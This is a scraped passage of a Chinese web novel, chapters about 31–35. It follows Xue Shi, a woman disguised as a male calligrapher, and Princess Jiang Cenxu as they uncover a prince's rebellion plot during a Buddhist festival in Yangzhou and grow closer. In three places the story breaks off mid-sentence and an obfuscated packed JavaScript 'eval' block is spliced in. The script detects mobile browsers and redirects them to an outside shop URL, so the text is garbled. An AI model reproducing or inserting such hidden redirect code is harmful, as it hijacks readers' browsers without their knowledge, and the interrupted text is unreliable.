即便阿雅所言真诚,但毕竟提及许皇后,薛适担心江岑许会难过,忙伸手拉了拉阿雅,顺势将刚才找出的课业递给她:“那个……阿雅,我明早来查验。” 未曾想,江岑许听后很是平静,只是波澜不惊地应道:“那是自然。” 阿雅哼了声:“我倦了,你们请回吧。” 她作势送客,想要掩盖此时慌措混乱的思绪,但在江岑许即将踏出房间外时,阿雅还是蓦地开了口,真心实意道:“五公主的一番话……多谢了。” - 两人出门时,已是夜晚。冬日晚风稍疾,临桥湖水微皱,低垂倒映的星空倏忽晃动,像是藏了缥缈幻梦的漩涡。 江岑许带着薛适在一处摊前停下,点了两人爱吃的春卷和炒饭作为晚膳,薛适忙知趣地斟好碧螺春,眨了眨眼,试探开口:“殿下是在……拉拢阿雅?” 江岑许不是多管闲事的人,与阿雅不过第一次见,以她的性情绝不会设身处地为仅是初见的人提出那些忠告。 “关塞与大益势同水火,迟早会有再度开战之日。既然现下什雅同你算是亲近,又有清弥法师这层关系在,何不推她一把,认清自己的处境,拾起她该负的责任? 如此,即便那一天到来,有什雅在其中周旋,总比关塞大权皆落于什勒一人手中强,这样对大益的威胁也能弱些。” 薛适微微一怔,不过转瞬就已了然。 热茶在冷风中渐渐升腾起雾气,江岑许垂眸啜饮,隔着氤氲的视线,薛适却觉眼前的人愈加清晰。 这才是真正的江岑许,不是么。 即便乌云蔽日、太阳沉寂,但日晖终究无人能阻。 “他日卧龙终得雨”,江岑许亦不该被束于荒唐公主的伪装下。 应是如鹤冲天,自由且耀眼的模样。 “看什么呢。” 江岑许已放下茶杯,盛了碗炒饭推向薛适面前,指间筷子敲了敲桌面,提醒她趁热吃。 心中似泻过春雨,温暖而潮湿,薛适笑了笑:“只是奇怪,谁把太阳藏在了碗里。” “你倒是烂漫。”江岑许挑了挑唇,难得很是配合地应道,“那薛待诏尝尝,太阳好不好吃?” 薛适轻轻扒了下其间细碎的金灿,夹入口中,与对面也看向她的眸光蓦然成汇。 ——“很好。” 看向江岑许的那一刻,她听见自己说。 32. 相通 翌日清晨,天色稍沉,绵延连片的云不见边界,远远看去恍若倒过来的海,风吹曳动,汹涌着半透明的灰暗。 太阳未现,水汽难散,聚起有些浓重的雾,与时起时歇的风纠缠。 薛适不到寅时就已出门,想着去客栈前先到摊上取不慎掉落的镇纸,不想清弥法师也早早起身,正站在寺门看向摊处的位置。 许是因太过入神,薛适接连叫了几声也未应。直到走上前,又唤了声:“法师今日这么早领诵吗?不过怎么不见其他僧人呐。” 平日寺外总有僧人打扫忙碌,此刻却是一片静寂,仿佛眼前的请愿寺已穿越风尘烟雨,成为千年后为人供奉的古刹,更显幽深肃穆。 “哦,”清弥法师这才回过神,收拢视线,“还未到领诵的时辰,只是我有些睡不着,索性出来吹吹风。薛待诏呢?” “我来取这个,”薛适挥了挥手中的镇纸示意,“过会儿再去阿雅那检查课业,等天色大亮,便也到了出摊的时辰。” “薛待诏小小年纪却已如此忙碌,实在辛苦。”清弥法师赞道,蓦地又顿了顿,不动声色问询,“你的徒弟……她怎么样了?这几日又饮酒了吗?” 薛适眨了眨眼,故作未察清弥法师眼中那抹极力压制的忧色,只道:“她说法师的醒酒汤很管用,而且喝起来甜甜的,她很喜欢。那日之后,她未再饮酒了。” “嗯,女孩子家还是少喝些好,伤身。” “法师所言极是,我定会转告于她。不过,”薛适笑了笑,“法师似乎很擅长看破扮作男装的女子,无论是我,还是她。 清弥法师微微一怔,良久,他苦涩地扯了扯嘴角,嘲意明显。 “薛待诏,你其实……都已知晓了吧。” 似乎无需薛适给予明确的回答,清弥法师已自顾自地说了下去。 “我一直以为我已忘了她。直到那次,你带着她,再次出现在我面前。”他的话语调很轻,似是喟叹,但潜隐的情绪却格外深重,难以掩藏。 “这颗本应只系于佛、只念于佛的心,再次动了。纵使那晚我回去诵念了整整一千次静心咒,可还是抑不住肆意股长的情思。” “那时我才甘愿承认,所谓的修行,不过是我为懦弱的自己找的借口。这样的我,又怎能修得如山之立,岿然不动,如石之毅,坚定佛心?” “凡心与佛心,没有对错。只要法师清楚,自己想要选择哪一个。”薛适温声开口,娓娓的语调似是暖意融融的春水,清清柔柔便能漾起涟漪。 “何况,在我看来,法师并不懦弱。天下之大,法师却依旧选择留在扬州,没有彻底隐匿踪迹,就此退却。或许是因在法师心中,还是希望有朝一日,她能回到扬州,与你再次相遇。” 国仇家恨,哀骨泣血,每一个大益人怎敢忘?何况是生于扬州、长于扬州的清弥法师。他不容许自己爱上出身敌国王室的女子,可他又单单,只爱那一个人。 早在长临书院后的溪山下,夜晚星月疏朗,那身红衣掠动,时而拂过狠决挥击的短刀,似于凌空盛绽的扶桑花。白日男装束发的身影之下,原是女子的模样。 这样孤勇的身影,却在回眸看见他时微微一怔,红着脸道:“在准备教你的刀法,防身必备。然后……抱歉啊,我不是有意想要骗你的,只是书院中没有其他女学生,才出此下策……” 她几步跑近,因急于解释,手上动作也有些慌乱。但远远看去,火红而耀眼的身姿,像是最为灿烂的蝶,牵动起他身侧晚风,衣袖也随之翩然。 而他们的衣裳,曾共迎在这流动的风里。不同的是,他听见了比风声更清晰的,自己的心跳。 彼时,他还不是请愿寺的清弥法师,只是一介书生白明深;什雅也尚未表露关塞王女的身份,只是书院里一个喜欢武不擅文的男装女学子。 而他,对这样的少女动了心。 记忆回溯时光,又恢至当下,雾色中清弥法师的眸光却渐渐清明。 一直以来,是他不够坦荡。所以连自己的心,都认不清。 也许,他该放过她,也放过自己,真真正正地听从心意,做出想要的选择。 “多谢薛待诏宽慰。我想,我知道自己的答案了。” …… 薛适到达客栈时,阿雅已选好了靠窗的座位,正捧着一碗热汤等她。见她落座,忙递上自己的课业,连置于唇边的热汤都忘了喝,只是捏着边沿满眼期待地看向薛适。 “怎么样?” 见对面的身影眉宇轻皱一脸认真,不由得更加握紧。 终于,薛适看完手中宣纸,抬头笑道:“基本和范例一致了。时常弄错笔画顺序的几个字也已改正过来,假以时日,你的字即便同土生土长的大益人所写相比,也不会有太大差异。” 阿雅这才松口气,放心品尝热汤。 “那,我什么时候可以写一些……书信?我们平日说话的语序和你们不同,表达也更直白,恐怕短时间我很难学会你们那些弯绕,什么含蓄啊婉约啊……你都不知道,那日我将你代笔的回绝信默下后,回去研究了多久。” 薛适弯眼:“书信是想写给清弥法师?” “嗯。” “不得不承认,五公主说话虽难听,但说得确实对……” “昨晚我想通了许多,我该正视自己的感情。既然这么久过去我依旧喜欢他,那就为了这份喜欢尽我最大的努力。无论是他,还是关塞,我要我们的结局都是圆满无憾的。” “等大祭礼结束,我会和他再表明一次我的心意,无论他的选择是什么,我都会回到关塞背负我应背负的一切,这是我必须要做的事。” 看着眼前女子坚定不移的目光,薛适明白,那个为了喜欢的人改变自己的阿雅,不再选择舍弃原本的性情和骄傲。 她选择做自己,承受喜欢之下责任的重量,将这份喜欢变得触手可及。 想起方才清弥法师的话,薛适浅浅地翘了翘唇:“你会遂愿的,阿雅。” “那就承我的小师傅吉言啦。”阿雅豪气干云地举起汤碗同薛适相碰,“等以后我厉害了,关塞和大益和平共处,你尽情带着朋友去我的地盘玩,我一定像你现在关照我一样,处处照拂!” “好,”薛适回碰着,温声笑道,“我记得了。” - 阿雅想再钻研下书信的行文及措辞,便没有和薛适一起出摊。 等她一个人到时,江措已备好了一切。 “抱歉二皇子……我来迟了些,让你久等了。” “没关系,我也才到。”江措温和地摇摇头,将方才买的饮子递给薛适驱寒,等她坐下才道,“有件事想和薛待诏商讨。” “二皇子直说无妨。” “昨日收摊后,我去买诗文时途径酒楼,恰听见说书人聊起修建离宫之事,便也跟着听了会儿,发现底下不少百姓对离宫修建一事有些不解,觉得大明宫就已足够,没必要在扬州另修离宫,修建的费用可用于修缮工程,完善民生。” “他们说得有理,无可辩驳,所以我有些担心,咱们为离宫所作之赋,会不会不被认可?” 薛适转了转指间毛笔,想了想,从容一笑:“不会的。” “各执己见乃常情,天下悠悠之口不可杜,那便让更多人知晓修建离宫的益处,在赋中言明,尽最大限度地,让反对之人收回成见。” “何况,文字之影响远比我们想象的还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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修建离宫,是为发挥扬州作为陪都的作用。如此,扬州与长安一南一北、一文化一政治,繁荣昌明、遥相呼应。 谓之扬州辅助长安,文化拱卫政治。 即为“赞襄”。 她不由得感到开心。 因为这个宫名,不仅记录下许皇后生前尚未实现的愿景;也承载着她和江岑许曾于龙尾道那晚,萌动的野心。 - 经薛适这番话,江措对作赋的方向又有了新的见解。收摊之后,径直奔向刺史府他所在的房间。 路过庭院时,却见江岑许正坐在拐角处的椅子上,手中打磨一块木色石头,远远看去,和毛笔笔身的黄有些相像。 “小五?你这是……”江措看了眼被江岑许摆在一旁桌上的《开物志》,“在做什么东西吗?” 凑近时才发觉,江岑许手中的木色石,是出自佛家的庙子石,有羊脂玉之别称。江岑许手头这块,更是水头莹润,质地光泽,属稀有上乘的奶瓷玉。 “看起来,这是为信佛之人所偏爱的庙子石,来扬州后,小五你也开始信佛了么。” 江岑许一向能言善辩的嘴,此时却难得在说话时顿了顿:“……不是。” “只是听说,这种石头能保平安,可作护身符,辟邪祟御疾病,便想做个簪子。” 江措恍然:“怪不得先前你并不中意街上那些样式的簪子,原来是想添置一些特别的。” “不过小五,你既不信佛,怎么还信了佛家所言,可保平安的说法?” 暗沉天色下,江岑许的眸光却格外清亮,垂敛的长睫闪烁轻颤,似因想到了什么人。 她抚了抚手中那块庙子石,如此颜色衬着她修长的手更加白皙,在这样的阴日雾气里,宛若月夜凋落山岚之中的雪白蔷薇。 脑海中浮现出某个其实很怕死,却总爱干笑着后退的身影,江岑许不由抑制唇边微微弯起的弧度,反倒令她整个人生出风流之姿。 “只是希望,一切美好的祝福都能灵验。” 薄唇轻启间,字句落下,江岑许道,“而平安,最是难得。” 33. 蝴蝶 接连时日的降温,扬州城迎来了今冬的第一场雪。雪花簌簌落落,远处的山峦,近处的瘦西湖,皆被银色润染,整个世界恍若琉璃,一片澄澈雅净。 雪落之日,恰好在腊月初七,大祭礼的第一日。 传说中,腊月初七是佛家先创诞生的日子。那日龙口吐香水,佛身得以浴洗[1],故每逢此日便会举行大祭礼,昭祥瑞洗污秽。 大祭礼从腊月初七一直持续到正月初一,恰是辞旧迎新的时候。 期间当属首尾两日最为热闹,信奉佛法和想要观礼的百姓,会在此时前往寺庙,以浴佛为始,以诵经作结。 本朝在昭景帝的影响下,本就佛教信仰兴盛,尤其氛围浓厚的扬州。城内所有寺庙都会举行祭礼活动,其中请愿寺最为出众,何况今年又有迎请佛骨之盛况,即便百姓对修建离宫各执己见,但对佛骨一事皆甚是期待,想要于新岁求得元亨利贞,福禄圆满。 薛适这些日子因帮忙书写梵文祈愿符作为大祭礼的准备活动,所以并未回刺史府,而是继续住在先前在请愿寺的房间。兜兜转转,无论是摆摊还是写赋,她还是在请愿寺待得更久些。 还有不到一刻大祭礼正式开始,薛适也写得差不多,若前来求符之人过多,有此余量再写也宽裕。 走出寺门时雪已经停了,沿途两侧已有僧人诵经,准备恭迎佛骨。再远一些,善男信女端着各式精巧的碗碟,盛着些煮熟的豆子撒有少许盐,热情邀请路过的人品尝,以为结缘[2]。 薛适兴趣盎然地挤入人群,笑着接过不少豆子,虽吃不太惯这样的味道,但热闹欢声的氛围与虔诚珍重的祝福交织,即便在冬日里,也叫人情不自禁想要融入其中。 一些人因常来代笔,认出了薛适,纷纷笑盈盈地朝她怀里送瓜果、予蜜姜,说着祝福的吉祥话。而原本留着过会儿有人求取时再相赠的祈愿符,这一路已被薛适送出了不少。 薛适有些明白,为什么扬州是整个大益寺庙数量最多、信仰佛法最为浓厚的地方。归根结底,是因扬州城百姓总是乐观而赤诚,对大大小小的任何人或事,都报有最美好的期盼和善意。 似乎连方才吃不惯的豆子,此刻都生出了丝丝缕缕的香甜,萦绕唇舌。 如此,便算是结缘么。 薛适觉得这样的心境很是奇妙,不由伸手想再抓几颗送入口中。眼前忽然一抹黑色翻飞掠过,像是风吹而落的鸦羽,衣袖微微拂过她手腕的位置,一只修长白皙的手隔着绢帕,从身后越过她的肩膀,先一步伸入瓷碗捏了颗豆子。 薛适下意识回身,却听得耳边綷縩声响,肩上随之一暖,她看见江岑许一身烟墨站在面前,将厚实的水绿色斗篷披在她身上后,正悉心替她系好领口。 口中虽慢条斯理地嚼着方才拿走的豆子,但垂眸间的神色却专注而认真。薛适的双颊被斗篷的雪白毛领紧紧拥簇,仰头看向江岑许时有些笨重,无意识地动了下身,却被江岑许顺着系带轻轻一拽,近乎紧贴在胸前,仅隔着江岑许此刻为她曲肘系带的双臂。 “别动。”江岑许眉目微凛,带着一丝强硬。 “风一吹就发烧的体质,还敢在这么冷的天就穿这些出门,该不会,你想故意感上风寒再传染给我吧?” 反应了会儿,薛适才想起江岑许指的是先前在宣微殿的树上暗中观察拂年,结果之后没多久她就发烧的事。 “抱歉,让殿下担心啦。”薛适笑着弯起眼,但想到身上的斗篷又有些迟疑,刚要开口,江岑许却早猜到她的心思。 “不用谢,不过随手买的。本宫可不想寒冬腊月再因你染上风寒受罪。” “殿下我不是这个意思,只是……斗篷是女子样式,我穿是不是不太好?” 江岑许松开手,俯身与她平视,近在咫尺的距离,薛适看得她眼中笑意促狭分明。 “薛待诏小小年纪,又无红颜,也无姊妹,怎就断言这是女子样式?又不是男子穿不得的颜色。” “我……” 薛适一急,脸上不由浮现隐约的红色,在雪白毛领的衬托之下更显动人,那双清澈灵动的眼眸也似因慌乱蒙上一层水雾,望过来时的模样,令江岑许不得不移开视线,只得不动声色地移开话题。 “……大祭礼快要开始了。” “先前你说密咒一般为信仰佛法之人才会研习,我已查证,江接并不信奉。” 话题转到这上,薛适也回过神,思忖道:“冰心笺上的内容,如今就差这一处尚无法解释。” “无妨。”江岑许想到徐桓应的证词,再联系江接这三年来的种种作为,虽仍有未明之处,但大体的结果,她已基本确定。 “他最后,都是为了要那个位置。” “可太子之位不是一直未定吗?难道是……” 江岑许语气沉寒:“刚到扬州时城门检查就已十分严格,很多人都非普通百姓,而是会武;三年前,江接对贪腐官员选用低劣木材兴修水利一事,一边秘而不宣自请治理水患,一边命人故意水中下毒伪造瘟疫,再暗中解毒赢得民心;包括传言中三年前,所谓的瘟疫之后受请愿寺接济的书生科考高中之言,我命临辞调查后得知,是因当年主考官受命泄题所致。” “扬州又是江接的封地,更遑论其最为陪都的地位。” “即便涉及请愿寺和密咒的些微地方尚未查清,但凭借现在掌握的这些,我实在想不出若不是为了谋求那个位置,还有什么会令江接如此大费周章,步步为营。” 周遭人潮和乐融融,言笑晏晏,薛适却只能听进江岑许压低的声音。指间不由捏紧了斗篷边缘,薛适抑着惊颤,轻声问:“所以最近都没见到临辞,殿下是已暗中派他……先一步回京城了吗?” 江岑许没有直接回答,只是看着她:“同你说这些,是想要告诉你,与江接站在对立面的处境是何等艰险。” “倘若哪日你想彻底抽身,不再因当初无意收下装有冰心笺的盒子就与我纠缠到一起,我有办法助你脱身。 无论是离开我身边,还是远离大明宫,我都会保你安宁无虞。” “你不用是五公主江岑许身边的面首,也不用是薛待诏。 你就只是你,薛适。” 薛适看着眼前的人,因太过讶然,眼睫不禁扑簌颤动。与之相和的,是胸腔之中蹁跹而跃的蝴蝶,一下一下,轻轻盈盈地,却牵动着她有些紊乱的心跳,掠过之时亦将她的思绪带到了刚来长安的那个冬日。 那时候,也是这样临近年关;站在她面前的,依旧是江岑许。 不同的是,初见的江岑许,把藏着提醒和善意的心思藏在了刻薄和讥诮的言语中。而现在,江岑许会直截了当地告诉她,让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388001|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知晓,会有人选择她的选择,只要她愿意,随时可以做自己。 从小到大,薛适未有一日真正做过自己。她没穿过一次女儿家的衣裙,始终被人冠以“薛公子”之名,只能偷偷跟随娘亲学习喜爱的笔墨。 若不是明皇后懿旨,她可能就此一生都活在那样的压迫里,无人知晓她为女子,无人知晓她亦有想要做成之事。 可是现在,有一个人愿意给她自由,曾真心期冀着她能以代笔之能谱写天下盛景,会告诉她可以做自己。 她却犹豫了。 虽然一切漩涡的伊始,明处看来是因她摆摊时被袁敏达利用,收下了所谓的赠礼盒子。但,她终究会去看望明皇后,也会出于礼节向皇上献予书法,她还是会因此被封书待诏去崇文馆教导皇亲贵胄,然后与五公主江岑许日渐熟悉。 她们或许会沿着不同的轨迹相遇,但因为,她们一直是她们,所以无论中途怎样变化,最后不过是殊途终归。 像是纠缠的因果,难以割断的宿命。 既如此,那对她而言,到底什么是自由呢。 起码,不应仅仅意味着一个人逍遥肆意,远离纷扰。 可以是心有栖居,也可以是甘之如饴。 她忽然想起那日,自己为灰衣男子的同窗所写的那封回绝信。 最先涌入脑海的,却是那句—— “情之欢喜,不分异同。” 远处,磐声阵阵,钟鼓齐鸣,宣告着大祭礼的正式开始。 喧闹声响瞬间止歇,僧人所诵经文虽幽深晦涩,却虔诚至极。 在这样平和静气的氛围里,本是涤荡人心的磐声鼓鸣,却一下一下敲击着薛适的心口,鼓噪着纷杳袭来的悸动。 当两侧百姓都将目光迎向僧人所在的祭礼队列时,薛适却抑制不住地,只看向了身侧的江岑许,然后很小很小地,又朝她的身边移了下,踮起脚,唇边弧度牵动眉梢,温宁笑意晃漾,落于翦水秋瞳。 “我会选择你,殿下。” 因为,我应该有点……喜欢你。 不是所以为的,令她安心的姐姐。 而是,想要一直陪在这个人身边,无论生死。 江岑许的目光停在薛适的面容。 白皙的面庞,如樱的唇色,让她显出不加雕琢的纯净。而一双含笑且笃定的眼眸,又将那份纯净镀上夺目的光辉。 蓦地,天上又下起了雪,薛适轻移开视线,看向空中雪落的轨迹。 江岑许的唇边勾起一丝浅浅的弧度,趁薛适转过身时,触上她的发。 “有点乱了,帮你理理。” “嗯?” “发髻歪了。”江岑许拂了拂落在发上的几片雪絮,熟练梳弄着。 薛适无法看到的是,此时此刻,被她用来簪头发的那支毛笔,被人悄然换成了一模一样的另一个。 同样的颜色,同样的毛笔外形。 不同的是,这支由庙子石所制,其间藏着难以叫人发觉的玄机,独一无二。 “好了。” * 这一日,他们共吃了同一碟用以结缘的豆子,在请愿寺外虔诚缭绕的声响中共淋了同一场雪。 蝴蝶于她的胸口翩掠,她给出了她的选择。 蝴蝶于他的指间翻飞,他给出了他对于这个选择的答案。 34. 拥风 因宫宇尚未修缮完成,用以庇佑离宫的佛骨暂奉于请愿寺主殿;其余需迎入京城大福殿的佛骨则暂存于请愿寺左偏殿。因两处佛骨除了寓意上各有侧重外,其余并无太大差异,所以一并于今日迎请入寺。 队伍由远及近,一众僧人最前面,江接手持净瓶,待过后佛骨入寺,便用瓶中盛有的各香浸水灌洗。他目不斜视,步履端正走来时,平日高傲的神情尽敛,眼下瞧着竟有几分出尘之姿。 两侧百姓恭敬点燃香烛或线香,缭绕弥散的烟雾与稀疏而落的飘雪混萦,像是登云而上的仙境。 快要行至人群最为密集的请愿寺门口时,江接双唇翕动,似虔诚诵念什么。紧接着,眼前金色乍现,江接的身体被一层薄薄的光影环绕。在飘雪的阴翳冬日,那灿烂灼然的金光却像是坠落的太阳,不偏不倚缠镀在江接周身,浑然天成,仿若下一刻便会羽化登仙。 顿时,人群一片哗然,议论声此起彼伏。 “这是……佛光?简直是千年难遇的奇景啊!” “此乃吉祥之光!如此突然地降临在大皇子身上,是福兆啊!” “大祭礼迎请佛骨之日,现佛光之人是三年前亲下扬州,成功治理了那骇人水患的大皇子,这说明什么?这是佛意,是天选!这注定是要佑我扬州,佑我大益啊!” …… 一时间,围礼百姓的眼中纷纷露出对江接的惊叹与崇仰,接连跪在路边顶礼膜拜,口中满是对江接的赞美,意欲追随。 薛适静默看着,先前无法厘清的团团迷雾,一瞬之间被江接身上笼罩的金光尽数驱散。明明今日风雪并不急重,但薛适却觉凛冽而刺骨,遍体生寒。 “殿下,我好像……都明白了。” 薛适一向含笑的眼,垂敛之间却是露冷霜华。 “大皇子所作一切,都是为了此时此刻他金光加身,过度痴信佛法的扬州百姓会因此追捧跟随。长久以来的铺垫、渗透,让大皇子只需以这样的方式,便可顺利宣扬自己是‘天选之子’,一举赢得声名。如此……他想要于扬州起兵谋反之事,便是顺应天意,也不会违背民心。” 江岑许没有说话,只是轻轻拉着薛适向后退了退,避开一些看过金光后,直冲上前高呼“请大皇子指点佛缘”“请大皇子予以庇佑”,甚至以头抢地、以血为誓的信众。 幸有吴陵维事先安排好护卫维持秩序,才不致引起更大的骚乱。 江岑许冷眼看着,想通了先前见过徐桓应之后,自己始终未明的一结。 为什么江接一定要解瘟疫背后三日采之毒的一方是请愿寺、拉其入局,以造成扬州书生和百姓对佛法过度痴迷的局面。 正如薛适所言,江接很早之前就在为自己的叛举造势,以求民心所向、名正言顺,他便不必受批判、担骂名。相反,还会为自己所行所举平添神圣色彩。 “只是,如果现在提出回京,必然打草惊蛇。 虽江接筹划已久,但眼下他在明,我们在暗。待大祭礼结束佛骨迎请事毕,我们也已彻底完备好所有证据,届时回京后向父皇一举揭发,人证物证俱在,江接措手不及也难有辩言。” 薛适应道:“其余证据殿下已搜集得差不多,但这金光,我总觉不会平白无故出现。今日并未出太阳,巧合下的自然奇景自是不可能。趁着最后的这段时日,我多去翻看些古籍经书,再请教下清弥法师,看看会不会有所发现。若是能解开大皇子身上金光出现的原因,那所有证据便彻底齐全。” 话虽如此,但薛适清楚知晓,此事凶险艰难,必不会一帆风顺。 大皇子的封地在扬州,而扬州的繁华并不比长安差上多少。是以他选择立于扬州,精心筹谋三年不说,身后除去自己的势力,更有袁家兵马提供支撑。唯一的名不正言不顺之处,也因与清缘住持步步设计,收获了如今对他一片敬仰信服的民心基础。 “薛适,”江岑许看出她坚定眸光中隐约显露的忧色,忽然道,“我们一起去观礼吧,听说寺内今日会举行很多有意思的仪式。” 说完,便拉起薛适的袖子,随着人群一起涌进。 江岑许的步伐很快,四周人海在呼啸流动的空气中变得有些模糊,薛适好像只能看清眼前人的身影。不知是否因这身女子少穿的烟墨色,江岑许的背影被清晰勾勒,衬得更加挺拔清隽,身后发丝随随曳起,明媚而张扬。 比起女子,反倒更像是意气风发的少年。 隔着衣袖,薛适的手微微上移,轻轻地反牵住了江岑许的手腕,像是想要握紧手中的风。江岑许回头看她,唇边弧度肆意,“像泼水、赠花、荡秋千这些,扬州城很多同你年岁差不多的女子……和男子,都会喜欢。” 薛适讶异地笑了笑:“我这几日一直留在请愿寺,都不比殿下知晓得多。不过,殿下不是不喜热闹的吗。” 两人已经进入了请愿寺,往常幽静的院落中,今日自登入殿门需攀经的长长石阶开始,就已设好了各式各样的摊位置于两侧,经文、线香、菩提……应有尽有,目不暇接。还有一些平素所用物什,也与之结合制出了不少精巧的小玩意,充满禅意。 看着薛适因眼前所及热闹一瞬亮起的眸光,江岑许浅浅勾起唇角,应道:“如果我不提及,你会主动参与吗?” 薛适想她应是不会的。观完佛骨迎请,她会为前来求符的人寄以福愿。若是有人需要代笔,她会帮忙完成。至于其他,她在代笔时听旁人提起就已足够。 江岑许没等她回答,“我一个人实在无趣得很,所以……” “我想你,陪我一起。” - 江岑许带着薛适去到了百年古树下。前方不远处,两侧木桩高高矗立,最上方撑起粗壮的横木,牵起垂挂的彩色绳索,一方坚实木板被紧紧绑系,赫然是架秋千。 薛适看了眼旁边,梳着双垂鬟髻的少女正站另一架秋千上,身后少年满眼笑意地将她推起。薛适也跟着笑了笑,看向江岑许:“殿下要试试吗?我推你,保证不让殿下受伤。” 江岑许意兴阑珊地挑了挑眉:“没什么意思。不过,看你似乎兴致颇高,不如你去吧,我在后面推。” “这怎么可以?殿下千金之躯,自当……” “快去。”江岑许直接打断,轻轻推着薛适的肩膀走到空着的秋千前,“不是答应了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445000|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要陪我吗?我只想推别人荡秋千,不想自己来。薛待诏不会连本宫的这点心愿都不想满足吧?” 薛适不好再拒绝,恭顺道:“那……麻烦殿下了。” 她从未荡过秋千,毕竟秋千多为女儿家所喜,她又如何有机会试上一试。 今日瞧见,不免有些好奇,本想江岑许荡起时她在后边看上一眼就好,没有想过她可以亲自体验。想象着与风争次第的畅快淋漓,又紧张又期待,下意识便不断交握着双手。 “怕了?”江岑许站在身后,伸手扶稳秋千两侧的握绳,学着薛适方才的口吻,“保证不会让你受伤。” “我相信殿下。只是……有些开心。” 薛适敛了敛心神,登上秋千,握紧两侧绳索,放声道:“可以啦,殿下。” “那就,”江岑许一点点将薛适推起,声音如风,“飞吧。” 摆动的彩绳将薛适倏忽送远,再带着她向后而去,随秋千高高荡起时,似与树齐。 水绿色斗篷飘飘曳曳,如蝶如翼。远远看去,像是薛适从未拥有过的,少女的裙摆。 “殿下,这和坐小木船从龙尾道上划下去不一样。” “哪里不一样?” 江岑许看向眼前一次次离她很远、又离她很近的身影。而她站在不远处,随时可以触及这抹身影的地方。 “嗯……” 薛适清亮含笑的声音散在风里:“一个是风载住我们,一个是我们拥抱着风。” 倏然而过间,薛适不施粉黛的容颜绽出灼灼笑靥,似芙蓉盛开,比得上任何胭脂水粉。星眸流转间,如莹澈月华,恍若能黯淡世间所有颜色。只稍一眼,便叫人不禁深受感染,着迷沉醉。 这似乎是江岑许第一次见到没有心事,也没有被其余纷杂情绪牵扰的薛适。 她只有纯粹的快乐与尽意,彩绳斜拽,古树为倚,清风随行。 薛适越荡越高,一旁少女已下了秋千,和少年一同看着。 “公子荡得可真好!暧,我们也试试吧,你来荡,我来推。”少女笑着开口,跃跃欲试的模样。 那少年看了下薛适的身形,又低头看了看自己,不好意思道:“我……还是算了。那小公子身姿敏捷,推着也轻松些。我这又大又笨重的,怕会累到你。” “不会的。你忘了每天早上我都会帮阿爹一起上山砍柴的吗,力气大着呢!来吧,相信我!” …… 薛适在秋千上听了大概,弯了弯唇,减缓了悠荡的力道,想要将这方天地更多地留给他们。 “玩够了?”江岑许几步上前,站在薛适身后隐隐圈绕,护着她从秋千下来。 “嗯!” 两人不约而同地最后看向秋千的位置,百尺丝绳拂地悬,看似柔弱的少女笑逐颜开,正稳稳推起高大的少年。 冬日下,熹微的光笼罩着百年古树,无声见证一双双交错拥护的身影。冬尚未离去,但春光却似已悄然乍泄。 荡秋千的可以是男子,推秋千的也可以是女子,不是只有谁的专属。 秋千所载不受限,亦如人皆应似风,卧云枕长空,所行俱自由。 35. 是他 两人攀过石阶,抵达寺中正殿时,恰见僧人将所请佛骨安座在金盆中沐水洗尘,在清缘住持的带领下依次上香、展具、顶礼奉拜,清弥法师则领声唱赞:“愿消三障诸烦恼,愿得智慧真明了,普愿罪障悉消除……” 大殿之外,信众跪于蒲团,双手合十跟着唱诵。其他只为观礼并不供奉之人,则跟随小僧参与各样仪式。或炷香祈求心想事成;或献花以求明年此时前来还愿;或在赶摆时向心上人表达情意…… 薛适和江岑许一一走过,最后被人群裹挟着,行至圆弧环绕的宽阔广场。此刻聚了不少人,无论男女,不分年岁,皆竞相泼水嬉笑追逐。即便彼此之间先前从未相识,但只要在这日,于这里,共泼浴佛之水,便是结了洗去污秽和厄运的善缘。 无需过多言语,只要一个相视的笑容,已是跨越了前世的五百次回眸。 “薛适。” 她正去小僧那儿帮江岑许和自己拿盛水的瓷碗,忽地听见江岑许出声唤她。 “嗯?” 这一转身,隔空一弯澄净透亮的弧线已遥遥落在她身上,温暖潮湿,像是泄落的春光有了具象。 薛适反应了会儿,明明还没有拿到瓷碗,怎地水就已先一步泼到了她身上呐。短暂怔愣的模样,像是未睡醒般,长睫缓缓扑烁,多了丝往日少见的可爱与娇憨。 江岑许肆然地笑了起来,合拢的指间又沾了些水,作势要再泼去,没想到薛适早已不动声色地将瓷碗藏于斗篷下,趁着江岑许松懈的间隙,一举挥向对面,茫然之色瞬间褪去,唇边笑意狡黠。 “殿下,是你先不厚道的。” 即便江岑许反应迅捷,抬起手臂遮掩,但垂曳的衣袖却是结结实实迎下了这一泼,纵然布料厚重,边沿处也湿了大半。 “行啊,学会唬人了。” 江岑许嘴角微勾,几步靠向薛适身边,速度之快让人措手不及。薛适一时间手忙脚乱,既想泼水反击,又想躲避,最后哪个也没顾上,只得凭着本能蹲下,将方才散开的斗篷披在头上,眯紧双眼,很是安详地准备被泼。 然而预想中的湿润迟迟未濡,薛适有些紧张地睁开一只眼,却见江岑许正蹲在她身前,有些好笑地看着她。 “傻瓜。”蓦地,额间微凉,江岑许食指轻点她的眉心,轻嘲道,“还不如站着,这么蹲下,要是真泼了,不得淋个彻底?” 